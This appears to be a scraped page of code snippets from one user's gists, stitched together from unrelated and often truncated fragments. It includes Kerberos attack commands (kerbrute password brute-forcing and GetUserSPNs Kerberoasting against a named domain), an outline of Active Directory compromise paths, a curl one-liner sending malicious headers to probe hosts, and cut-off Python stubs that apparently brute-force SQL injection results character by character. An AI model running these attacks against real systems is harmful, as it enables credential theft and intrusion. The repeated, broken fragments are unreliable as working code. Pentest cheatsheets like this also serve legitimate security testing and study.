cyberheartmi9

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

cyberheartmi9

import requests

from urllib3.exceptions import InsecureRequestWarning

import random

import string

import sys

cyberheartmi9

========================================================================================================================
						Kerberos Attacks
========================================================================================================================



[+] Kerbose attack

./GetUserSPNs.py -dc-ip 192.168.168.10 sittingduck.info/notanadmin

cyberheartmi9

Note: I did not author this, i found it somehwere.

Active Directory Attacks

Summary

• Tools
• Most common paths to AD compromise
  • MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)
  • Open Shares
• [GPO - Pivoting with Local Admin

cyberheartmi9

cat ~/domain.txt | httprobe | while read url;do ww=$(for i in "X-Oversized-Header-1: Big_Valuetestetstsetsetstsetestsetsetsetsetsetestsetsetsetsetsetsetsetsetsetesset" "X-Meta-Malicious-Header: \r\n" "X-HTTP-Method-Override: POST" "X-Forwarded-Port: 123" "X-Forwarded-Host: $url:123";do curl -s -L -I -H $i $url;done|grep HTTP|grep -v '301 '|awk '{ printf "%3d: %s\n", NR, $0 }');echo -e "\e[1;32m$url\e[0m""\n""$ww""\n";done

cyberheartmi9

import requests
import re
import string




ch=string.ascii_lowercase+string.digits
#ch=string.printable

cyberheartmi9

import requests
import re




def extract(x):
    link = re.compile("""src=[\"\']/r(.*)[\"\']""")
    links = link.finditer(x)
    for i in links:

cyberheartmi9

import requests
import re




def extract(x):
    link = re.compile("""src=[\"\']/r(.*)[\"\']""")
    links = link.finditer(x)
    for i in links:

cyberheartmi9

import requests
import re




def extract(x):
    link = re.compile("""src=[\"\']/r(.*)[\"\']""")
    links = link.finditer(x)
    for i in links:

cyberheartmi9

import requests
import string




ch=string.printable

#table ->admin
#username -->column length 5